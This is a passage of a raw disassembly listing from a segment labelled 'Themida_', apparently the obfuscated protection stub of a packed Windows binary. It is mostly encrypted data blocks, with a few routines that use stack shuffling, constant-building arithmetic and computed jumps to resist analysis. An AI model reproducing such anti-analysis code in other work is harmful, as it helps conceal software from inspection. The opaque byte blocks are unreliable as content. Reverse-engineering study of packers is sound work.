		dd 93BCEF63h, 6A46DFABh, 0A4A66117h, 5DA8E457h,	0ABA9D299h
		dd 3A4D46DFh, 98F259C1h, 0AAAED784h, 948746DFh,	0A8186E21h
		dd 0C2054900h, 492686ACh, 0F0295E03h, 25CDE2BDh, 0DD90F099h
		dd 602F6E3Dh, 0BE5746DBh, 285E3334h, 0B4E06BEFh, 7EFC3745h
		dd 583E910Dh, 5480E18Dh, 2CEF91F4h, 54054B2Eh, 8F487D24h
		dd 1ACD3EDCh, 44EE07F0h, 54533843h, 0BA0CF78Eh,	92557B5Eh
		dd 129A23D8h, 4A8E4772h, 0FE000000h, 62C80349h,	9EBC7B0Fh
		dd 33B763ADh, 6AF0295Eh, 0ADADB7E1h, 661B9F5Bh,	88739750h
		dd 930B5B4Ch, 0B9623CFCh, 4F223491h, 0EF5CFE39h, 24C668A5h
		dd 0EC9F5B94h, 0BBDE246h, 8EC14AD0h, 0BC986DD1h, 447568CCh
		dd 50BC8F8Bh, 0C803494Ch, 94BDEE62h, 6946DFABh,	20A25682h
		dd 4F1CDE28h, 3CFC9027h, 995D0DFEh, 0F515D2E4h,	0A6DACA06h
		dd 8851A5A5h, 0C8034920h, 8FD0D8B6h, 4476DCE6h,	4BEAh
		dd 35A89A00h, 0C20C4883h, 0A5390109h, 0DFAACDF6h, 91FBA046h
		dd 0DA03A88Dh, 0B346DFAAh, 69F12A5Eh, 0BF96AFE2h, 97B31819h
		dd 0D4A8D224h, 8ECA0DB1h, 8735A89Eh, 6529004Ch,	26864CA2h
		dd 4A8535A8h, 2CE80Eh, 75680000h, 5E4E8A45h, 5E87D4A8h
		dd 3746DFABh, 0DCE0844h, 0D4A8E93Dh, 4BCF08B1h,	6A9394C0h
		dd 6E46DFABh, 0A86BBBh,	0ACC20549h, 3492686h, 1A5942C8h
		dd 4A46DC2Ch, 1DA5D588h, 0DB2A254Eh, 0A013F846h, 0CE0751BAh
		dd 0ABF68264h, 0C90EB0E1h, 73F7A316h, 9B0B4608h, 0F48B6798h
		dd 0CF5C3778h, 497F5C0Fh, 2557428Eh, 0E6E260EAh, 0C246DA60h
		dd 4E8093B9h, 0A1F43B3Dh, 46DB1A78h, 31725E4Dh,	3CF7FE9Dh
		dd 0AE691D70h, 3EEC5FACh, 0A5A5A6EEh, 49208851h, 0D8B6C803h
		dd 9A5D6104h, 0E68F6EBEh, 0EA4476DCh, 63h, 0A5A5A69Ah
		dd 87D4A851h, 46DFAB5Eh, 0AB8BB4E7h, 0B96246DFh, 9A5EBA61h
		dd 0DFABA8D1h, 0B2F97D46h, 46DFAB89h, 0AAFCAF5Ch, 5E87D4A8h
		dd 3746DFABh, 0E42F1144h, 0B807F9C2h, 0A8CC9C5Ch, 0C71AD423h
		dd 0AEEAD437h, 0AEC0074Bh, 35A82686h, 0FCCF4B84h, 0F6A0216Dh
		dd 8CC8BB12h, 486Eh, 0C0F7EA00h, 0A6D9CD07h, 0A851A5A5h
		dd 0AB5E87D4h, 443746DFh, 729BC008h, 6646DFABh,	17BEC403h
		dd 0DDEE23C5h, 5A0DFE1Ch, 0A897E7h, 4B8435A8h, 39107CCFh
		dd 0E3E85295h, 5D5D0F4Ah, 6A9F54E7h, 78D93912h,	865B4B85h
		dd 8335A826h, 0EB6FA8DEh, 5EADAD60h, 2C750772h,	53B8A29Fh
		dd 2908E460h, 4F73AB8h,	94569506h, 0F10E46DBh, 34EF9D6Dh
		dd 0EB2C5336h, 37C3FAB8h, 0B29EB8A3h, 0EC9F3D6h, 8482460Ch
		dd 976DF5A6h, 1B003CF8h, 0A5A65FAFh, 208851A5h,	62C80349h
		dd 50BC7B0Fh, 6104D84Ch, 6EBE9A5Dh, 0D18035A8h,	1DEE6CAFh
		dd 715BA0AAh, 76DC31DEh, 4F5B44h, 0EC9F0000h, 7061600Ch
		dd 0D1D53F65h, 51A5A5A6h, 4B8435A8h, 0D8107CCFh, 0DFAB6A93h
		dd 46584346h, 478035A8h, 0DC1C78C3h, 8335A88Ch,	992D0C48h
		dd 0AB598229h, 7F2C46DFh, 812AAE8Ch, 46DFAB58h,	12127E2Dh
		dd 35A82686h, 0EB014B84h, 2Dh, 9D23A8C3h, 0C7AC1035h, 904D97C1h
		dd 3A864BAh, 46DFAADAh,	6A0F2B9Eh, 9279E15Ah, 0A86646h
		dd 0ACC20549h, 488335A8h, 0F51F79C2h, 0C80349B1h, 0A4FD8E42h
		dd 0D526EB0Ch, 85458FC9h, 90205D03h, 0EFA2020Fh, 9AC4204Bh
		dd 0F09B3CFBh, 0D630283Ah, 0CCFD9014h, 0C804F713h, 11CADAD7h
		dd 42C8B332h, 28E25D6Fh, 0CE6CA7D5h, 56A5E2ABh,	6D2849FEh
		dd 93F614C7h, 117B2EE9h, 7B8EB2F9h, 4D7010CEh, 0FCAF681Ah
		dd 94537B5Eh, 0AD312C76h, 0E54986CBh, 9A2A7705h, 0C2488737h
		dd 67D38679h, 9D5D9622h, 7F295219h, 0FFC08DEh, 2A5115C5h
		dd 0ECCC9CD5h, 6257811Fh, 1F729851h, 34A9B16Eh,	0E0C54582h
		dd 1F341DDAh, 73C82553h, 0B26D1FEFh, 3CF785F8h,	3781Eh
		dd 0C82C0000h, 0C90249E0h
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 0DE68B99Ah, 8900007Ch
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		mov	esi, 2A76070Fh
		add	esi, 7C3C766Eh
		shl	esi, 8
		xor	esi, 461F3E34h
		sub	esi, 8177F55Ch
		mov	ecx, 7DD48237h
		sub	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		push	edx
		mov	edx, 718D6215h
		sub	[esp+4], edx
		pop	edx
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 718D6215h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dd 0CD0A29F0h, 76166CC3h
		db 43h,	5Eh, 7Fh
; ---------------------------------------------------------------------------


loc_5F6227:				; CODE XREF: Themida_:005F594Cj
		mov	eax, 0AEA3C84h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 6B368BEh, 23F9526h, 3F6C719Ah, 8A90ACDh, 4237D353h
		dd 232C3361h, 6FC59C20h, 4FBD50C9h, 949AB5Fh, 342E6791h
		dd 3CA66B27h, 702B82CCh, 1875EDF0h, 5BBA545Dh, 1BB12616h
		dd 3A209E25h, 206A9E16h, 606A06BDh, 3E7E8D8Dh, 6A0AEAh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 519E44C3h, 3A850F4Fh, 8D898CCFh, 0AE31479h, 9D5B36B8h
		dd 0AE83Ah, 68040000h, 0DF43AD9Eh, 0EE8E7539h, 2B7D9589h
		dd 0C75F0AE3h, 0E306C985h, 6AC40Ah, 0F6B70F00h,	6985C7h
		dd 0AE3h, 0B5890000h, 0AE315FDh, 13E8h,	0DAB27700h, 8E3B6BC8h
		dd 942D3394h, 0C8D201E8h, 0C26AEB93h, 17E59D8Bh, 0FF5A0AE3h
		dd 0E31859B5h, 55006A0Ah, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 12E8EEh, 16190000h, 0CB76AE39h
		dd 20A19832h, 1CB91509h, 0AB1FEB46h, 0DEA8166h,	95FF5F79h
		dd 0AE326B5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	5BC35343h, 743141FEh, 427F89A8h, 0FF006A9Eh, 0E31CD195h
		dd 0EBC08B0Ah, 26D72F3Fh, 0D90191D1h, 0AD8B2E75h, 26D8F9EEh
		dd 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 44E1ED7Ch, 0D6B7FAEFh
		dd 4264AAD5h, 49D1645h,	26836600h, 321C6575h, 210EFC53h
		dd 25D20C6Ch, 0DCBF94AAh, 10E8h, 4CAF3500h, 0E5FDB3AEh
		dd 0E42CE1C5h, 0E50FAF8Eh, 49B533DFh, 580AE311h, 15F5B58Bh
		dd 0C0810AE3h, 6F80h, 3870Fh, 0EE800000h, 1BB7683Bh, 0D38B0000h
		dd 0A5B58B5Fh, 0FF0AE303h, 0F0BF0F30h, 1985315Bh, 810AE31Eh
		dd 2386E4EBh, 0D830F04h, 0E9000000h, 8,	0D6A17694h, 8DAB538Fh
		dd 0D2B7C381h, 958B252Eh, 0AE306DDh, 6E90F381h,	10E915D9h
		dd 0A5000000h, 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 5301716Ch
		dd 1D759523h, 8F0AE3h, 8366D280h, 1AB903E8h, 4853E54Fh
		dd 0F4FF38Bh, 0FFFF9685h, 0E0B966FFh, 128D8D6Bh, 6A0AEA40h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 66E4C356h, 899424BAh, 0E314798Dh,	85C7FC0Ah
		dd 0AE306C9h, 65D8h, 17810Fh, 12E90000h, 0BF000000h, 0E801DE6Fh
		dd 50EF7AE4h, 9D19D2F8h, 0D4FBFFDh, 6985C7ECh, 0AE300h
		dd 8B000000h, 0E3104D85h, 45B5FF0Ah, 6A0AE304h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 5DA8C350h, 8266115Eh, 9DB58BA6h, 0FC0AE311h,	26B595FFh
		dd 8B660AE3h, 0FF006AD6h, 0E31CD195h, 0EBC08B0Ah, 76AC6A0Fh
		dd 905A9309h, 75E63C45h, 0E51BF325h, 41098D8Dh,	6A0AEAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 9200F0C3h, 9D8B57AAh, 0AE32FF5h, 0D2BF6658h,	798D899Ah
		dd 6A0AE314h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0C573C353h, 0BEFB35EFh, 0E681DC0Ah
		dd 7E6C1E13h, 6C985C7h,	5EAC0AE3h, 0BD8B0000h, 0AE32691h
		dd 6985C7h, 0AE3h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B2906C3h, 0E31A499Dh
		dd 68A0F0Ah, 89000000h,	0E3115D95h, 61B5FF0Ah, 6A0AE311h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 30F3C352h, 0D9BF0F61h, 26B595FFh,	0BD8B0AE3h
		dd 0AE31D3Dh, 95FF006Ah, 0AE31CD1h, 1DEBC08Bh, 56EA1E8Dh
		dd 0EFA302F3h, 0C58163E3h, 37B0F705h, 0E35959BFh, 23431125h
		dd 0DD6DA388h, 12E842h,	0DAEC0000h, 2600C402h, 16FF6624h
		dd 0C523EE97h, 59A77D5Fh, 12ADB50Bh, 8B5F0AE3h,	0E321F18Dh
		dd 0D8C7810Ah, 6600005Ah, 0A283C181h, 168C68h, 55858B00h
		dd 5A0AE303h, 14E9h, 0C6FB5D00h, 7673403Fh, 0F741CCC6h
		dd 6E64964Ch, 857E155Ch, 0B41F8B23h, 64F3813Ah,	17AF060h
		dd 0E334E1B5h, 0BF3810Ah, 8939ABEEh, 0E3207995h, 0E2F3810Ah
		dd 0B4178698h, 8B1F8997h, 3EF83C2h, 0FE8h, 149FF700h, 1DD8D600h
		dd 0E2309E55h, 0A65E189Bh, 1F819D89h, 4F5E0AE3h, 0F4AF28Bh
		dd 0FFFFB085h, 8E9FFh, 82740000h, 30BE011Ch, 8D8D9942h
		dd 0AEA4295h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	74C35242h, 5E5C89F7h, 798D89FCh, 6A0AE314h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0DEF8C356h, 0E7183AD4h, 0C77510D3h, 0E306C985h, 5EFC0Ah
		dd 0E8816600h, 85C731D5h, 0AE30069h, 0
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, [ebp+0AE31421h]
		pop	edi
		mov	edi, [ebp+0AE31A2Dh]
		push	dword ptr [ebp+0AE31161h]
		mov	edx, [ebp+0AE3208Dh]
		call	dword ptr [ebp+0AE326B5h]
		push	0
		push	eax
		call	sub_5F6763
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F6763	proc near		; CODE XREF: Themida_:005F675Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5F6763	endp

; ---------------------------------------------------------------------------
		dec	ebp
		or	eax, ebx
		setalc
		pusha
		fistp	qword ptr [eax+eax*2]
		setalc
		sbb	[edi], cl
		mov	edi, 0FF006AF9h
		xchg	eax, ebp
		rcr	dword ptr [ebx], 1
		or	cl, [ebx+4C1DEBC0h]
		retf	0ECF8h
; ---------------------------------------------------------------------------
		dd 8E2C23C7h, 645665C7h, 0B92CC42Eh, 0A8FB0F25h, 43F57536h
		dd 60BB5E27h, 15FE94Ah
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5F67AE	proc near		; CODE XREF: sub_4068E0+12Cp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 0AEA42C5h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F6904
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 1D3482FAh
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+0AE31479h], eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0C291F267h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+0AE306C9h], eax
		mov	eax, [edx+14h]
		mov	[ebp+0AE30069h], eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F68C8
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE306BDh]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE30445h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE30529h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE308C1h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE305CDh]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE32C91h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE31D7Dh]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE3120Dh]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE31A09h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE319A9h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE31859h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE32DF5h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE321A1h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE31B71h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE32C4Dh]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0AE31161h]
		jmp	loc_5F68DC
; ---------------------------------------------------------------------------


loc_5F68C8:				; CODE XREF: sub_5F67AE+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+0AEA4326h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5F68DC:				; CODE XREF: sub_5F67AE+70j
					; sub_5F67AE+7Bj ...
		call	dword ptr [ebp+0AE326B5h]
		pop	ebx


loc_5F68E3:				; CODE XREF: sub_5F67AE+14Ej
		mov	eax, [ebp+0AE31479h]
		cmp	[eax+4], ebx
		jnz	loc_5F6901
		push	ebx
		push	1
		call	dword ptr [ebp+0AE31CD1h]
		pop	ebx
		jmp	loc_5F68E3
; ---------------------------------------------------------------------------


loc_5F6901:				; CODE XREF: sub_5F67AE+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5F6904:				; CODE XREF: sub_5F67AE+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5F67AE	endp

; ---------------------------------------------------------------------------
		db 8Bh,	85h, 61h
		dd 8D0AE32Eh, 0EA44148Dh, 141890Ah, 8E8C38Bh, 4E000000h
		dd 4C64DCC5h, 666D344Dh, 815AD98Bh, 66FDC2h, 9568F800h
		dd 8B000019h, 0F505EFAh, 0F8Ch,	0AE900h, 59670000h, 0BE7A2DB1h
		dd 0EC2CA9FBh, 0F32FF5Fh, 58Fh,	63CCB900h, 0E9581319h
		dd 11h,	7D3D5CD6h, 0FC786CCDh, 184D88FDh, 0DB88AB50h, 9CF081F6h
		dd 525F2B03h, 5E9h, 0FAC4AC00h,	815F7BBEh, 641D90F0h, 820F4Fh
		dd 81000000h, 197E97F0h, 893BB322h, 0FABB6602h,	77EA812Ah
		dd 0F529FB9Bh, 9B73C281h, 0B70F29FBh, 1EE83CFh,	0FF97850Fh
		dd 0DE9FFFFh, 0DD000000h, 1F8BD08Fh, 9D635F0Bh,	90C8A9CFh
		dd 0C2E9h, 4DF38400h, 459CD719h, 0E1C8C3CAh, 0ACABDAB6h
		dd 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh,	0F46BB291h
		dd 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h
		dd 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh
		dd 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh, 52D0008Ah,	53F545F3h
		dd 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h
		dd 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh
		dd 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h
		dd 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 2 dup(0)
		dd 0E9000000h, 13F4h, 0EA478768h, 3A03E90Ah, 6D68FFF9h
		dd 0E90AEA48h, 0FFF939F9h, 0EA493468h, 39EFE90Ah, 9368FFF9h
		dd 0E90AEA4Ah, 0FFF939E5h, 0EA4B0968h, 39DBE90Ah, 0BC68FFF9h
		dd 0E90AEA4Bh, 0FFF939D1h, 0EA4C5F68h, 39C7E90Ah, 68FFF9h
		dd 0E90AEA4Dh, 0FFF939BDh, 0EA4DB168h, 39B3E90Ah, 868FFF9h
		dd 0E90AEA4Fh, 0FFF939A9h, 0EA4FF968h, 399FE90Ah, 1068FFF9h
		dd 0E90AEA51h, 0FFF93995h, 0EA521268h, 398BE90Ah, 6368FFF9h
		dd 0E90AEA53h, 0FFF93981h, 0EA548068h, 3977E90Ah, 3C68FFF9h
		dd 0E90AEA56h, 0FFF9396Dh, 0EA573568h, 3963E90Ah, 6E1DFFF9h
		dd 0FA80C5B5h, 46084D3Dh, 0C3F4C981h, 4F715406h, 21D1DE8Ch
		dd 64D611A7h, 0ED5D9E21h, 7426E3A8h, 0FAB06B11h, 0B1DA8149h
		dd 843BF564h, 3499199h,	6925CCBFh, 0F3663E48h, 0DF6F77A0h
		dd 9D5D4E46h, 0DF6FA5CEh, 20937846h, 0FA35473Ah, 20262200h
		dd 8BFD511Ah, 0EB903CFCh, 4417EB6Fh, 3BFC921Bh,	30EF9FF2h
		dd 226E212Ah, 0FC91D401h, 49150A3Bh, 95CDC67Fh,	43CA4Dh
		dd 0A8BA0000h, 0C3478035h, 16D21C78h, 0B1610A30h, 843CFC94h
		dd 0FB287397h, 0E33BFC91h, 9AFF1BDCh, 0BB1634EDh, 0E9A0D89Ah
		dd 0A5621449h, 0C37A56A5h, 0CA1D6E1Fh, 473FD0Ch, 8C39DA36h
		dd 844D950Ah, 0AEh, 0C80349F0h,	8596F42h, 82ABF040h, 5B46DFABh
		dd 0AFDB0h, 26241FADh, 7CFE3943h, 66B27519h, 0A7C299E2h
		dd 0EE9A46DFh, 9AE14535h, 6196369Bh, 9DFCD865h,	5C1634EFh
		dd 0DB80AA9Ch, 3CFC7443h, 0ABB9711Ah, 0EA9159AFh, 0B161CB00h
		dd 0C41440A5h, 769FCC40h, 4F3BFBACh, 472F705Ch,	1E321751h
		dd 0E4A8CD6Dh, 62127723h, 0C0FA7FA9h, 1D3109E2h, 11827Bh
		dd 42BBCE00h, 0CA05B588h, 4E893D10h, 0D314B99Ch, 59922267h
		dd 685486E1h, 0D237E324h, 5DB06AA3h, 0C207F32Ch, 868D7DB6h
		dd 647EA7F4h, 0AA573BF5h, 0C407495Ch, 4E893316h, 0A2A68C9Ch
		dd 25D586A4h, 83CFC94h,	16A2C763h, 8347F3DDh, 0DC1EDFEEh
		dd 0FC92668Fh, 4C3F3Bh,	0FC91F21Fh, 6BF7683Bh, 0B671077Ah
		dd 0CA6DA794h, 4D95C93Dh, 0BF37h, 9C8B300h, 0D101A4A8h
		dd 49E43814h, 6F42C803h, 99C2E959h, 6C46DFABh, 0F0295ABFh
		dd 2C2EE16Ah, 0DFA7A87Fh, 0FC8F046h, 1952665Bh,	0DFF88EB9h
		dd 3BDF926Eh, 9357B1A9h, 0FC7D30C8h, 15A2E73Ch,	8CCD3EDCh
		dd 9B4F02FFh, 0B3B79149h, 17E86FE8h, 1C85F632h,	3880D307h
		dd 0DA4159B3h, 0F878DAB9h, 78C2B51Fh, 0C2B87305h, 0C23EF98Fh
		dd 9E2D463h, 9C882EC2h,	24000010h, 0ABEE5C95h, 137624E3h
		dd 9FF2A86Fh, 187D2DEAh, 0A8C7B374h, 0FD3E4E3Ah, 4485C80Dh
		dd 0CD0AB396h, 5790381Dh, 0C1EA60E3h, 3BF56398h, 497AB06Dh
		dd 340F4407h, 8AC087A2h, 9A2E63D7h, 675E9A1h, 0B2FB9C26h
		dd 0B1B755Ch, 42C80349h, 28E25D6Fh, 0E466A1D5h,	4A00FB81h
		dd 9CEF396h, 2EDE3A01h,	0E4A9CC0Ah, 0F8A32723h,	46DFAACFh
		dd 0D602F5A6h, 70FA4C0Ch, 0FC8F6F2Bh, 0FB7D2E3Ch, 72A07CA8h
		dd 5C0F834Dh, 49767E33h, 2D37610Ah, 4C1FDB2Dh, 3F9379F8h
		dd 0EC66E497h, 8BD01AECh, 457016CDh, 661BDFCCh,	0EC219952h
		dd 1E4714DCh, 0F7497326h, 4C752604h, 21497326h,	0D05D877Ah
		dd 43074923h, 0FD509AFh, 4E7D0000h, 0DAE02595h,	2668AD1Dh
		dd 0A3D429E1h, 2F51B466h, 1F13EECh, 4436F187h, 0CDBD7E01h
		dd 5406C388h, 0DA904B71h, 0D1FAA129h, 0A43BF561h, 35A8B1F9h
		dd 77C44681h, 248C3C1Dh, 0DFAB4E77h, 81742746h,	390FCB99h
		dd 0BA8E6A31h, 0DAC13CFCh, 8C66B10h, 0D4A55D29h, 262200F8h
		dd 0E3861A20h, 0F1321ED9h, 3218C7D1h, 3F780184h, 296981A6h
		dd 0A215C8D8h, 1D5724B8h, 0BCEA90D1h, 2D5A4D87h, 3146DF95h
		dd 0EDC04A8Dh, 8C3F5DCh, 0AFD0B555h, 0D89ABB6Ah, 0EA74E9A0h
		dd 76C621DEh, 3C2B47h, 0A85B0000h, 0DA2BC723h, 6BCF3F52h
		dd 0DF951740h, 0D33DEE46h, 73F75109h, 0FCC6D528h, 6BCFBC3Ch
		dd 0D2884176h, 0FC539AC9h, 7D36423Bh, 0A8E39FACh, 0D2887B84h
		dd 911CEFFh, 0EFA57h, 0A2A64700h, 8E0286A4h, 0DFAAB4DDh
		dd 42748946h, 0A586D285h, 3CF5E906h, 0CFF8A3C7h, 0A63BF565h
		dd 453802F5h, 5890FC37h, 0EE5C9725h, 2426E1ABh,	0A56DBA0h
		dd 67C92859h, 5627232Dh, 0F4C8DC05h, 17CAB13Bh,	0C32C5FD3h
		dd 611A2646h, 3C0A3378h, 38E33BF5h, 8DB6E545h, 603BF53Ch
		dd 844E51BBh, 1B320B78h, 0E597CA70h, 6F1D702Ah,	1CDC96B4h
		dd 5B5B002Ah, 323CFC6Eh, 0D87C1F49h, 0DF7314BFh, 0E7639h
		dd 76AFDA00h, 0FE394184h, 4285C90Ch, 0C700B588h, 4D8E3E13h
		dd 6460929Dh, 0EE239750h, 69AC1EDFh, 0DE33E720h, 8AB971AAh
		dd 61729BC0h, 0AE4B3BF5h, 0AB527F58h, 0F5F546DFh, 0B284D713h
		dd 0D93CF5E7h, 27550832h, 0B1DB3EECh, 0F119DEE0h, 0FE93570Ah
		dd 20911CAh, 0A8A022D6h, 114485C8h, 0FBEF0740h,	67C3B61Eh
		dd 12445834h, 18443732h, 9E5E477h, 28CE62h, 4000000Eh
		dd 370AC039h, 0BF924887h, 3B1ECC0Bh, 0A4995196h, 463D710h
		dd 61DAEAD6h, 0E82154A9h, 71AEDF32h, 0FB3444B9h, 2576040Fh
		dd 3BF55FFCh, 49E624D1h, 0A9DABF03h, 0AAF41D70h, 59EE46DFh
		dd 3D450FBh, 279A8199h,	0C13A4E23h, 0F566459h, 0B19A807Fh
		dd 57795CFEh, 94897694h, 0A21BAECAh, 0AD9F2800h, 75954776h
		dd 1000008h, 86A4A2A6h,	0F5E714D5h, 0A892793Ch,	9E4C8735h
		dd 34D611BBh, 0F5673A67h, 1AAEC33Bh, 86D23921h,	6E1C7C7Ch
		dd 2F7CFEB1h, 32127653h, 1C45160Ah, 2146D634h, 0D634517Ah
		dd 23772446h, 345B8578h, 2309E616h, 0D4D690Fh, 0C6F50000h
		dd 52785D0Dh, 0DEE02595h, 5B6CA119h, 0A7E92C9Eh, 8979B664h
		dd 0FCAE691Fh, 4535F699h, 0CCBE7B00h, 5208C389h, 497239B1h
		dd 1C3BF560h, 3492961h,	5D6F42C8h, 0AEFD4774h, 46DFAB85h
		dd 5AC0B358h, 0CF1C3EF1h, 43FCCC96h, 494776D4h,	7D8h, 0AB527F35h
		dd 0F5F546DFh, 8384D713h, 0A3CF5E8h, 14A4D961h,	9E2A6FDBh
		dd 0DFE085A5h, 2F7CF01Ah, 3BF56606h, 10792CDFh,	0A0ABAF68h
		dd 4A0EC474h, 78E25B6Ah, 0B70C8413h, 0EDA073EDh, 8F6B303Ah
		dd 0CE321269h, 1D2E3DDh, 5DF109E6h, 0CAABBh, 0AA631600h
		dd 32ED9DF0h, 0B6710578h, 3BFC81C4h, 817A0A4Fh,	0B02CDEC9h
		dd 3A1FCB0Ch, 0A598528Bh, 2A6FDB14h, 5EF5A59Eh,	5FA6CF9Ch
		dd 827F3BF5h, 0C8034984h, 0E25D6F42h, 0BC770578h, 56913B9Eh
		dd 915DC4B4h, 0C76BD4E7h, 76D444E1h, 7364C47h, 0A6380000h
		dd 0D586A4A2h, 3CF5E779h, 62AE7704h, 377978E1h,	348CDDDh
		dd 4F744C6h, 0BACFA226h, 0B0691C7Dh, 277A1AAh, 8F143D76h
		dd 0A5F07DBh, 1AAEE357h, 45723921h, 0C63BF576h,	75260402h
		dd 32128599h, 96DD07F4h, 8D09E5A5h, 0C09B769h, 2490000h
		dd 8E3C11C9h, 12A49951h, 9F2065D5h, 1BADE05Ah, 0CD3D6A20h
		dd 0B06AADD3h, 39F12A5Dh, 807AB7C4h, 16C43F4Dh,	52E7DFDh
		dd 0D83BF55Eh, 349ED3Dh, 5D6F42C8h, 0CA7378E2h,	0D4A74068h
		dd 0E69B4776h, 9EF317D0h, 0DE2D2DEEh, 951F216Bh, 8F000006h
		dd 0DFAB577Fh, 317AFE46h, 46DFAB08h, 961DEECh, 57903962h
		dd 87F7F37Dh, 0A71436F1h, 7D0B8990h, 8A7D3066h,	79E8FBA0h
		dd 3C513CF5h, 2179538Ch, 0EF9DF07Ah, 39453634h,	0E54570B0h
		dd 391CEC28h, 30B25893h, 0F5325838h, 3733E655h,	11D1D864h
		dd 98C4B732h, 9E679CFh,	587016CAh, 0F800000Bh, 6FA218D1h
		dd 0D72AE05Fh, 53B664A3h, 0DC31E92Eh, 6CBB6FA8h, 0B972027Eh
		dd 0F98CC1h, 8946774Ah,	13CCFCD1h, 7D2EACA7h, 3BF55E54h
		dd 493E4C29h, 6F42C803h, 0C451625Dh, 4455C9A0h,	86D5A991h
		dd 46DF705Dh, 0E9014B30h, 9BBFCC6Eh, 0DDBC5668h, 0C0629BF5h
		dd 0E9A19A2Eh, 7623D552h, 0C0F4E947h, 0DC380307h, 15E2Ah
